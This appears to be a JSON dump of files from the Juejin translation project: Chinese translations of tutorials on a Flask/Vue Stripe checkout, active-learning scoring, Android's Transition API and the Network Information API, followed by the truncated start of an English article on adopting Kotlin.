'@/components/Order';\nimport OrderComplete from '@/components/OrderComplete';\n\nVue.use(Router);\n\nexport default new Router({\n  routes: [\n    {\n      path: '/',\n      name: 'Books',\n      component: Books,\n    },\n    {\n      path: '/order/:id',\n      name: 'Order',\n      component: Order,\n    },\n    {\n      path: '/complete',\n      name: 'OrderComplete',\n      component: OrderComplete,\n    },\n    {\n      path: '/ping',\n      name: 'Ping',\n      component: Ping,\n    },\n  ],\n  mode: 'hash',\n});\n```\n\n在 `createToken` 方法中更新重定向：\n\n```\ncreateToken() {\n  this.stripeCheck = true;\n  window.Stripe.setPublishableKey(this.stripePublishableKey);\n  window.Stripe.createToken(this.card, (status, response) => {\n    if (response.error) {\n      this.stripeCheck = false;\n      this.errors.push(response.error.message);\n      // eslint-disable-next-line\n      console.error(response);\n    } else {\n      const payload = {\n        book: this.book,\n        token: response.id,\n      };\n      const path = 'http://localhost:5000/charge';\n      axios.post(path, payload)\n        .then(() => {\n          this.$router.push({ path: '/complete' });\n        })\n        .catch((error) => {\n          // eslint-disable-next-line\n          console.error(error);\n        });\n    }\n  });\n},\n```\n\n![final app](https://testdriven.io/static/images/blog/flask-vue-stripe/final.gif)\n\n最后，你还可以在订单完成页面显示客户刚刚购买的书籍的（标题，金额，等等）。\n\n获取唯一的账单 ID 然后传递给 `path`：\n\n```\ncreateToken() {\n  this.stripeCheck = true;\n  window.Stripe.setPublishableKey(this.stripePublishableKey);\n  window.Stripe.createToken(this.card, (status, response) => {\n    if (response.error) {\n      this.stripeCheck = false;\n      this.errors.push(response.error.message);\n      // eslint-disable-next-line\n      console.error(response);\n    } else {\n      const payload = {\n        book: this.book,\n        token: response.id,\n      };\n      const path = 'http://localhost:5000/charge';\n      axios.post(path, payload)\n        .then((res) => {\n          // updates\n          this.$router.push({ path: `/complete/${res.data.charge.id}` });\n        })\n        .catch((error) => {\n          // eslint-disable-next-line\n          console.error(error);\n        });\n    }\n  });\n},\n```\n\n更新客户端路由：\n\n```\n{\n  path: '/complete/:id',\n  name: 'OrderComplete',\n  component: OrderComplete,\n},\n```\n\n然后，在 **OrderComplete.vue** 中，从 URL 中获取账单 ID 并发送到服务端：\n\n```\n<script>\nimport axios from 'axios';\n\nexport default {\n  data() {\n    return {\n      book: '',\n    };\n  },\n  methods: {\n    getChargeInfo() {\n      const path = `http://localhost:5000/charge/${this.$route.params.id}`;\n      axios.get(path)\n        .then((res) => {\n          this.book = res.data.charge.description;\n        })\n        .catch((error) => {\n          // eslint-disable-next-line\n          console.error(error);\n        });\n    },\n  },\n  created() {\n    this.getChargeInfo();\n  },\n};\n</script>\n```\n\n在服务器上配置新路由来 [检索](https://stripe.com/docs/api#retrieve_charge) 账单：\n\n```\n@app.route('/charge/<charge_id>')\ndef get_charge(charge_id):\n    stripe.api_key = os.environ.get('STRIPE_SECRET_KEY')\n    response_object = {\n        'status': 'success',\n        'charge': stripe.Charge.retrieve(charge_id)\n    }\n    return jsonify(response_object), 200\n```\n\n最后，在 template 中更新 `<h1></h1>`：\n\n```\n<h1>Thanks for purchasing - {{ this.book }}!</h1>\n```\n\n最后一次测试。\n\n## 总结\n\n完成了！一定要从最开始进行阅读。你可以在 GitHub 中的 [flask-vue-crud](https://github.com/testdrivenio/flask-vue-crud) 仓库找到源码。\n\n想知道更多？\n\n1.  添加客户端和服务端的单元和集成测试。\n2.  创建一个购物车以方便顾客能够一次购买多本书。\n3.  使用 Postgres 来储存书籍和订单。\n4.  使用 Docker 整合 Vue 和 Flask（以及 Postgres，如果你加入了的话）来简化开发工作流程。\n5.  给书籍添加图片来创建一个更好的产品页面。\n6.  获取 email 然后发送 email 确认邮件（查阅 [使用 Flask、Redis Queue 和 Amazon SES 发送确认电子邮件](https://testdriven.io/sending-confirmation-emails-with-flask-rq-and-ses)）。\n7.  部署客户端静态文件到 AWS S3 然后部署服务端应用到一台 EC2 实例。\n8.  投入生产环境？思考一个最好的更新 Stripe key 的方法，让它们基于环境动态更新。\n9.  创建一个分离组件来退订。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/active-learning-in-machine-learning.md",
    "content": "> * 原文地址：[Active Learning in Machine Learning](https://towardsdatascience.com/active-learning-in-machine-learning-525e61be16e5)\n> * 原文作者：[Ana Solaguren-Beascoa, PhD](https://medium.com/@ana.solagurenbeascoa)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/active-learning-in-machine-learning.md](https://github.com/xitu/gold-miner/blob/master/TODO1/active-learning-in-machine-learning.md)\n> * 译者：[PingHGao](https://github.com/PingHGao)\n> * 校对者：[samyu2000](https://github.com/samyu2000), [shixi-li](https://github.com/shixi-li)\n\n# 机器学习中的主动学习\n\n> 主动学习实现简介\n\n![Photo by [Markus Spiske](https://unsplash.com/@markusspiske?utm_source=medium&utm_medium=referral) on [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral)](https://cdn-images-1.medium.com/max/11520/0*wvT88RaaNLyiCLt8)\n\n大多数有监督机器学习模型都需要基于大量数据进行训练才能取得良好的效果。即使听起来很可笑，大多数公司仍很难向其数据科学家提供此类数据，尤其是带有“**标记**”的数据。后者是训练任何监督模型的关键，并且可能成为任何数据团队的主要瓶颈。\n\n在大多数情况下，数据科学家拿到的是一个庞大的、未标记的数据集，并需要使用它们来训练性能良好的模型。通常，这些数据的量太大，无法手动标记。因此使用该数据集来训练良好的监督模型是一项具有挑战性的工作。\n\n## 主动学习: 动机\n\n主动学习是指对需要标记的数据进行优先处理的过程，以便对训练监督模型产生最大影响。主动学习可以用于数据量太大而无法标记的情况，并且为了更准确高效地标记数据，需要设置一些优先级。\n\n**但是, 为什么我们不随机选取一个子集进行手动标注呢？**\n\n让我们以一个非常简单的例子来抛砖引玉。假设我们有数百万个数据点，需要根据两个特征进行分类。下图显示了实际的解决方案：\n\n![Model prediction if all data points were labelled](https://cdn-images-1.medium.com/max/2000/1*Z_5GyCdFfcz_oVFnUuYczg.png)\n\n可以看到，两个类（红色和紫色）都可以很好地用一条过原点的垂直蓝色直线分开。问题是没有任何数据点经过标注，因此数据如下图所示:\n\n![Unlabelled data](https://cdn-images-1.medium.com/max/2000/1*fmnhkOPVsXNIUiroRg2CfQ.png)\n\n不幸的是，我们没有足够的时间标记所有数据。我们随机选择了一部分数据来标记、训练一个二分类模型。结果不是很好，因为模型预测与最佳边界有很大的偏差。\n\n![Model trained on a random subset of labelled data points](https://cdn-images-1.medium.com/max/2000/1*2bpj99Fppl2mqLb7Jb98XA.png)\n\n此时可以使用主动学习来优化选择的数据点，以便标记和训练模型。下面的图展示了一个训练二元分类模型的例子，该模型是根据主动学习后标记的数据点来选择训练的。\n\n![Model trained on a subset of data points chosen ho to be labelled using active learning](https://cdn-images-1.medium.com/max/2000/1*8eOKeWFNg29ruakj9b1Nzg.png)\n\n对于哪些数据点在标记时应该优先考虑，需要做出明智的选择，这样可以节省数据科学团队花费的时间，减少计算量，避免不必要的麻烦！\n\n## 主动学习策略\n\n#### 主动学习步骤\n\n不同文献中研究了多种方法，这些方法涉及在标记时如何确定数据点的优先级以及如何不断迭代优化。但在此我们将仅介绍最常见、最简明的方法。。\n\n在未标注的数据集上应用主动学习的步骤是：\n\n1. 首先需要做的是选取此数据的少量子样本，对它进行手动标记。\n2. 一旦有了少量标记数据，就需要对模型进行训练。该模型当然不会很好，但是它将帮助我们了解参数空间的哪些区域需要首先标记以对其进行改进。\n3. 训练模型后，该模型将用于预测每个剩余的未标记数据点的类别。\n4. 基于模型的预测，在每个未标记的数据点上选择一个分数。在下一个小节中，我们会介绍一些可能经常用到的分数。\n5. 一旦选择了最佳方法来决定标准顺序，就可以反复重复此过程：可以在已基于优先级评分进行标注的新数据集上训练新模型。一旦在数据子集上训练了新模型，即可将该模型遍历未标记的数据点以更新优先级评分，然后继续标记。这样，随着模型变得越来越好，人们可以不断优化标注策略。\n\n#### 优先级评分\n\n有几种方法可以为每个数据点分配优先级分数。下面我们描述三个基本的方法。\n\n**最小置信度:**\n\n这可能是最简单的方法。对于每个数据点的选择概率的最大值，并将其从小到大进行排序。使用最小置信度进行优先排序的实际表达式为:\n\n![](https://cdn-images-1.medium.com/max/2000/1*RJ0wYr0LXxpxezaUc_z75A.png)\n\n![](https://cdn-images-1.medium.com/max/2000/1*7taQkELyPNhYFH6-JgMsGA.png)\n\n让我们举个例子来看一下它是如何工作的。假设我们有以下可能属于三类之一的数据:\n\n![Table 1: Example of probability predictions of a model on three different classes for four different data points.](https://cdn-images-1.medium.com/max/6676/1*dUxgoL1aVNSyO1cP7C9riQ.png)\n\n在这种情况下，该算法将首先为每个数据点选择最大概率，因此有:\n\n* X1: 0.9\n* X2: 0.87\n* X3:0.5\n* X4:0.99.\n\n第二步是根据最大概率（从小到大）对数据进行排序，因此顺序为 X3，X2，X1 和 X4。\n\n**边际抽样:**\n\n该方法考虑了最高概率和第二高概率之间的差异。形式上，优先级排列方式看起来像：\n\n![](https://cdn-images-1.medium.com/max/2000/1*c-Qqr2TEzaaA-zGH01JalA.png)\n\n边际抽样得分较低的数据点是被标记为第一类的点；同时是模型在最可能的类别和第二个最可能的类别之间不确定的数据点。\n\n依照 Table 1 的例子, 各个点对应的分数为:\n\n* X1: 0.9–0.07 = 0.83\n* X2: 0.87–0.1 = 0.86\n* X3: 0.5–0.3 = 0.2\n* X4: 0.99–0.01 = 0.98\n\n因此，数据点按标准优先顺序排列如下：X3，X1，X2 和 X4。可以看出，在这种情况下，优先级与最小置信度略有不同。\n\n**熵:**\n\n最后，我们在这里要给出的最后一个评分函数是熵得分。熵是一个来自热力学的概念。简单的说，熵可以理解为系统中无序性的度量，例如密闭盒中的气体。熵越高，无序性就越大，而如果熵低，则意味着气体可能主要位于一个特定区域，例如盒子的一角（也许在实验开始时，气体还未在整个盒子中扩展之前）。\n\n可以重用此概念以度量模型的确定性。如果模型对给定数据点的类别具有高度的确定性，则对于特定类可能具有较高的确定性，而所有其他类的可能性均较低。这不正与气体在盒子的一角很相似吗？在这种情况下，我们将大部分概率分配给特定类别。在高熵的情况下，这意味着该模型将概率近似的分配给所有类别，因为模型根本不确定该数据点属于哪个类别，这与使气体均匀分布在盒子的所有区域的情况相似。因此，具有较高熵的数据点较具有较低熵的数据点应该有更高的优先级。\n\n在形式上，我们可以定义熵分数优先顺序如下：\n\n![](https://cdn-images-1.medium.com/max/2000/1*sUuF5qqrW0CpArzejhNTNA.png)\n\n如果我们将熵得分方法应用于表 1 中的例子，有：\n\n* X1: **-0.9*log(0.9)-0.07*log(0.07)-0.03*log(0.03)** = 0.386\n* X2: **-0.87*log(0.87)-0.03*log(0.03)-0.1*log(0.1)** = 0.457\n* X3: **-0.2*log(0.2)-0.5*log(0.5)-0.3*log(0.3)** =1.03\n* X4: **-0*log(0)-0.01*log(0.01)-0.99*log(0.99)** = 0.056\n\n**注意，对于 X4，0 应该被替换为小的正数（如 0.00001）以保证数值稳定。**\n\n在这种情况下，数据点应按以下顺序显示：X3，X2，X1 和 X4，这与置信度方法的顺序一致！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/activity-recognitions-new-transition.md",
    "content": "> * 原文地址：[Activity Recognition’s new Transition API makes context-aware features accessible to all developers](https://android-developers.googleblog.com/2018/03/activity-recognitions-new-transition.html)\n> * 原文作者：[Marc Stogaitis, Tajinder Gadh, and Michael Cai](https://android-developers.googleblog.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/activity-recognitions-new-transition.md](https://github.com/xitu/gold-miner/blob/master/TODO1/activity-recognitions-new-transition.md)\n> * 译者：[wzasd](github.com/wzasd)\n> * 校对者：[maoqyhz](https://github.com/maoqyhz)、[LeeSniper](https://github.com/LeeSniper)\n\n# 带有情景感知这一新特性的活动识别 Transition API 面向全体开发者开放。\n\n由 Android 活动识别团队的 Marc Stogaitis，Tajinder Gadh和Michael Cai 发布\n\n人们现在携带最多的私人设备就是手机，但是到目前为止，应用程序都很难根据用户不断变化的环境以及状态来调整情景模式。我们从开发者那里了解到开发者已经花费了很多时间去结合位置以及其他传感器等各种装置的数据信号，以确定用户何时开始或者结束像是步行或者驾驶这样的情景活动。更糟的是，当应用程序不断的监测用户的当前情景活动状态时，电池的寿命会受到影响。这就是今天的目的，这就是为什么今天我们如此激动地向所有 Android 开发者提供活动识别 Transition API（不同情景活动的识别 API）— 它是一个简单的 API，当用户行为发生改变时，会处理一切事物，且告诉用户你真正关注的是什么。\n\n自从去年 11 月以来，Transition API 一直在后台工作，为[驾驶模式请勿打扰](https://android-developers.googleblog.com/2017/11/making-pixel-better-for-drivers.html)提供支持，这项功能在 Pixel 2 上启动。虽然在手机传感器检查到驾驶情景时打开请勿打扰似乎很简单，但在实践中会出现很多棘手的挑战。你怎么知道车辆静止是因为用户在停车场找到了位置熄火还是因为在一个红绿灯处暂时停下来呢？你是否应该相信非驾驶情景或者暂时分析错误？借助 Transtion API，所有的 Android 开发人员都可以利用 Google 使用的相同训练的数据和算法过滤器来检测用户情景活动中的这些状态更改。\n\nIntuit 与我们合作测试 Transition API，并发现它是 [QuickBooks Self-Employed](https://play.google.com/store/apps/details?id=com.intuit.qbse) 应用的理想解决方案：\n\n“QuickBooks Self-Employed 通过导入信息并自动跟踪汽车的行驶里程，帮助自雇员工在税务时间最大限度地减免税款。在 Transition API 之前，我们使用自己的解决方案来跟踪 GPS 以及手机其他传感器的数据，但是由于 Android 设备的多样性，我们的算法并不能 100% 保证准确性，有一些用户回馈了没有记录或者缺少数据的行驶状态。我们现在能够在几天内使用 Transition API 构建一个模型，现在已经具备了相当好的准确度，并取代了我们现有的解决方案，而且可以降低电池的消耗。Transition API 使我们能够集中精力提供减少税务的解决方案。”Intuit 的 Pranay Airan 和 Mithun Mahadevan 说。\n\n[![](https://2.bp.blogspot.com/-xjpu46Q1QlM/WrALrluMqRI/AAAAAAAAFJc/G0jP4_1B5TgBGCioG5vyIFkCrSl1zD1WwCLcBGAs/s1600/image1.png)](https://2.bp.blogspot.com/-xjpu46Q1QlM/WrALrluMqRI/AAAAAAAAFJc/G0jP4_1B5TgBGCioG5vyIFkCrSl1zD1WwCLcBGAs/s1600/image1.png)\n\nQuickBooks Self-Employed 中的自动追踪驾驶里程\n\n[Life360](https://play.google.com/store/apps/details?id=com.life360.android.safetymapd) 在其应用程序中同样实现了 Transition API，并在活动检测延迟和电池的消耗方面有重大改善：\n\n“Life360 拥有超过 1000 万个活跃的家庭用户，是全球最大的家庭移动应用程序，我们的使命是成为家庭的医院，可以让家人在何时何地都有安全感，现在我们通过定位分享以及全天候的安全功能（例如检测家庭成员的驾驶行为），因此，准确测量用户当前的活动状态并且尽可能减少电池的消耗非常关键。要确定用户何时启动开始驾驶或者停止驾驶，我们的应用之前依靠地理位置，结合位置 API 和活动识别 API，但这种方法有很多挑战，包括如何快速检测驾驶的启动而不会过渡消耗电池并要收集分析处理活动识别的 API 的原始数据，但在测试 Transition API 的时候，我们跟我们以前的解决方案进行对比，我们看到了更高的精度以及更少的电量消耗，而不仅仅是满足我们的需求。”Life360 的 Dylan Keil 说。\n\n[![](https://3.bp.blogspot.com/-jDgcFj0bhIE/WrAL4t8LU6I/AAAAAAAAFJg/07cgXSIDGKoUO5RyY24JV7m0Wjce9XtcACLcBGAs/s1600/image2.png)](https://3.bp.blogspot.com/-jDgcFj0bhIE/WrAL4t8LU6I/AAAAAAAAFJg/07cgXSIDGKoUO5RyY24JV7m0Wjce9XtcACLcBGAs/s1600/image2.png)\n\nLife360 中实时分享位置信息。\n\n在接下来的几个月里，我们将继续在 Transition API 中增加新的活动分类，用来在 Android 上支持更多的情景感知功能，例如区分公路和铁路上的车辆。如果您准备在您的应用中使用 Transition API，请查看我们的 API 指南](https://developer.android.com/guide/topics/location/transitions.html)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/adaptive-serving-using-javascript-and-the-network-information-api.md",
    "content": "> * 原文地址：[Adaptive Serving using JavaScript and the Network Information API](https://dev.to/addyosmani/adaptive-serving-using-javascript-and-the-network-information-api-331p)\n> * 原文作者：[Addy Osmani](https://dev.to/addyosmani)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/adaptive-serving-using-javascript-and-the-network-information-api.md](https://github.com/xitu/gold-miner/blob/master/TODO1/adaptive-serving-using-javascript-and-the-network-information-api.md)\n> * 译者：[Raoul1996](https://github.com/Raoul1996)\n> * 校对者：[Guangping](https://github.com/GpingFeng), [CoderMing](https://github.com/CoderMing)\n\n# 使用 JavaScript 和网络信息 API 实现自适应服务\n\n**`navigator.connection.effectiveType` 可以根据用户的网络连接质量得出不同的结果**\n\n\n[![](https://res.cloudinary.com/practicaldev/image/fetch/s--Ktkd6j7d--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/4z66d75fid8fje27lp2y.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--Ktkd6j7d--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/4z66d75fid8fje27lp2y.png)\n\n[effectiveType](https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/effectiveType) 是 [Network Information API](http://w3c.github.io/netinfo/) 的一个属性，在 JavaScript 中通过 [navigator.connection](https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection) 对象在调用。在 Chrome 浏览器中，你可以把以下内容放入 DevTools 中来查看有效的连接类型（ECT）：\n\n```\nconsole.log(navigator.connection.effectiveType); // 4G\n```\n\n`effectiveType` 可取值有 'slow-2g'、'2g'、'3g' 或者 '4g'。在网速慢的时候，此功能可以让你通过提供较低质量的资源来提高页面的加载速度。\n\n在 Chrome 62 之前，我们只向开发者公布了理论上的网络连接类型（通过 `navigator.connection.type`）而不是客户端实际的网络连接质量。\n\nChrome 的有效连接类型目前是使用最近观察到的往返时间（rtt）和下行链路值的组合来确定。\n\n它将测量到的网络连接性能总结为最接近的蜂窝网络连接类型（比如 2G），即使你实际连接的 WiFi。如图所示，你连接了星巴克的WiFi，但是实际上你的有效网络类型是 2G 或者 3G。\n\n[![](https://res.cloudinary.com/practicaldev/image/fetch/s--T54UF-7H--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/wqeuhx12frs3k126bmrv.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--T54UF-7H--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/wqeuhx12frs3k126bmrv.png)\n\n如何应对网络连接质量的变化呢？我们可以通过 `connection.onchange` 事件监听器来监听网络变化：\n\n```\nfunction onConnectionChange() {\n    const { rtt, downlink, effectiveType,  saveData } = navigator.connection;\n\n    console.log(`Effective network connection type: ${effectiveType}`);\n    console.log(`Downlink Speed/bandwidth estimate: ${downlink}Mb/s`);\n    console.log(`Round-trip time estimate: ${rtt}ms`);\n    console.log(`Data-saver mode on/requested: ${saveData}`);\n}\n\nnavigator.connection.addEventListener('change', onConnectionChange)\n```\n\n下面是一个快速测试，我在 DevTools 中模拟了一个 “低网速的手机” 的配置，并且能够从 “4g” 切换到 ”2g“:\n\n[![](https://res.cloudinary.com/practicaldev/image/fetch/s--gdIz0VyD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/t9zadl65erjhll14zbcp.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--gdIz0VyD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/t9zadl65erjhll14zbcp.png)\n\n`effectiveType` 在安卓上的 Chrome、Opera 和 Firefox 得到了支持，有些其它的网络质量提示可以在 `navigator.connection` 中查看，包括 `rtt`，`downlink` 和 `downlinkMax`。\n\n我在基于 Vue.js 的开源项目 —— [Google Doodles](https://oodle-demo.firebaseapp.com) 应用中使用过 effectiveType。基于 ECT 值，我们可以通过使用数据绑定就能够把 `connection` 属性设置为 `fast` 或者 `slow`。大致如下：\n\n```\nif (/\\slow-2g|2g|3g/.test(navigator.connection.effectiveType)) {\n  this.connection = \"slow\";\n} else {\n  this.connection = \"fast\";\n}\n```\n\n这可以让我们去根据用户的有效连接类型呈现不同的输出（视频或者低分辨率图片）。\n\n```\n   <template>\n      <div id=\"home\">\n        <div v-if=\"connection === 'fast'\">\n          <!-- 1.3MB video -->\n          <video class=\"theatre\" autoplay muted playsinline control>\n            <source src=\"/static/img/doodle-theatre.webm\" type=\"video/webm\">\n            <source src=\"/static/img/doodle-theatre.mp4\" type=\"video/mp4\">\n          </video>\n        </div>\n        <!-- 28KB image -->\n        <div v-if=\"connection === 'slow'\">\n          <img class=\"theatre\" src=\"/static/img/doodle-theatre-poster.jpg\">\n        </div>\n      </div>\n   </template>\n```\n\n[![](https://res.cloudinary.com/practicaldev/image/fetch/s--_tvmKtK---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/8jukzhdu62nbghw0cfx3.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--_tvmKtK---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/8jukzhdu62nbghw0cfx3.png)\n\nMax Böck 写了一篇关于使用 React [网络感知组件](https://mxb.at/blog/connection-aware-components/)的文章，蛮有意思。他提出了如何根据网络速度渲染不同的组件：\n\n```\nswitch(connectionType) {\n    case '4g':\n        return <Video src={videoSrc} />\n\n    case '3g':\n        return <Image src={imageSrc.hires} alt={alt} />\n\n    default:\n        return <Image src={imageSrc.lowres} alt={alt} />\n}\n```\n\n注意：你可以将 `effectiveType` 和 Service Workers 搭配使用来应对由于慢速连接而离线了的用户。\n\n调试的话，你可以使用 Chrome flag \"force-effective-connection-type\" 来覆写网络质量估算，这个 flag 可以在 chrome://flags 中设置。DevTools 网络模拟也可以也可以为 ETC 提供有限的调试体验。\n\n`effectiveType` 值也同样可以通过[客户端提示](https://www.chromestatus.com/features/5407907378102272)公开，允许开发者将 Chrome 的网络连接速度传达给服务器。\n\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/adopting-kotlin.md",
    "content": "> * 原文地址：[Adopting Kotlin: Incorporating Kotlin in your large app](https://medium.com/androiddevelopers/adopting-kotlin-50c0df79b879)\n> * 原文作者：[Tiem Song](https://medium.com/@tiembo?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/adopting-kotlin.md](https://github.com/xitu/gold-miner/blob/master/TODO1/adopting-kotlin.md)\n> * 译者：\n> * 校对者：\n\n# Adopting Kotlin: Incorporating Kotlin in your large app\n\n![](https://cdn-images-1.medium.com/max/2000/1*fherNTB7HBzPv5SZAJZ-Lg.png)\n\nIllustration by [Virginia Poltrack](https://twitter.com/VPoltrack)\n\n(This article is also available in Chinese at [WeChat](https://mp.weixin.qq.com/s/UJipNKgGPzZ1iPJBAaLJXw) / 中文版请参考 [WeChat](https://mp.weixin.qq.com/s/UJipNKgGPzZ1iPJBAaLJXw))\n\nOne of the recurring questions developers ask me at conferences is “What’s the best way to add Kotlin to my existing Android app?” If you work in a team with more than a handful of people, adopting a new language can become complex. Over time, my answer has become longer and I’ve fine-tuned it based on my own experiences adding Kotlin to existing projects, and speaking with others — both at Google and the external developer community — about their journeys.\n\nHere’s a guide to help you successfully introduce Kotlin to existing projects on larger teams. Many teams within Google, including the Android Developer Relations team, have used these techniques successfully. Two notable examples are the [2018 Google I/O app](https://github.com/google/iosched), which was rewritten completely in Kotlin, and [Plaid](https://github.com/nickbutcher/plaid), which has a mix of Java and Kotlin.\n\n### How to add Kotlin to an app\n\n#### Designate a Kotlin champion\n\nYou should start by designating a person in your team to become the Kotlin expert and mentor. Quite often this person will be obvious: the one who is the most interested in using Kotlin. It could very well be you since you are reading this. This individual should focus on learning as much as possible about Kotlin and researching ideas on how to best incorporate Kotlin into the existing app. They should proactively share their Kotlin knowledge, and become the “go to” person for any questions from the team. This person should also participate in Java and Kotlin code reviews to ensure that changes follow Kotlin conventions and facilitate language interoperability (such as nullability annotations).\n\n#### Learn the basics\n\nWhile the Kotlin champion is spending time deep-diving into Kotlin, everyone else on the team should establish a baseline knowledge about Kotlin. If your team is just getting started with Kotlin there are a lot of resources you can use to learn the language and how it interacts with Android. I highly recommend starting with the [Kotlin Koans](https://kotlinlang.org/docs/tutorials/koans.html), a series of small exercises that provides a tour of Kotlin’s features. It was a fun way for me to learn Kotlin.\n\nThe official site for Kotlin ([kotlinlang.org](https://kotlinlang.org)) offers [reference documents](http://kotlinlang.org/docs/reference/) for working with the [Kotlin standard library](http://kotlinlang.org/api/latest/jvm/stdlib/index.html) and step-by-step [tutorials](http://kotlinlang.org/docs/tutorials/) for accomplishing different tasks in Kotlin. The Android Developers site also has [several resources](https://developer.android.com/kotlin/index.html) on working with Kotlin in Android.\n\n#### Form a study group\n\nAfter the team is comfortable writing basic Kotlin, it’s a good time to form a study group. Kotlin is evolving quickly with many new features in the pipeline, such as [Coroutines](https://kotlinlang.org/docs/reference/coroutines.html) and [Multiplatform](https://kotlinlang.org/docs/reference/multiplatform.html). Regular group discussions help you understand upcoming language features and reinforces Kotlin best practices at your company.\n\n#### Write tests in Kotlin\n\nMany teams have found that writing tests in Kotlin is a great way to start using it in their projects, as it doesn’t impact your production code and 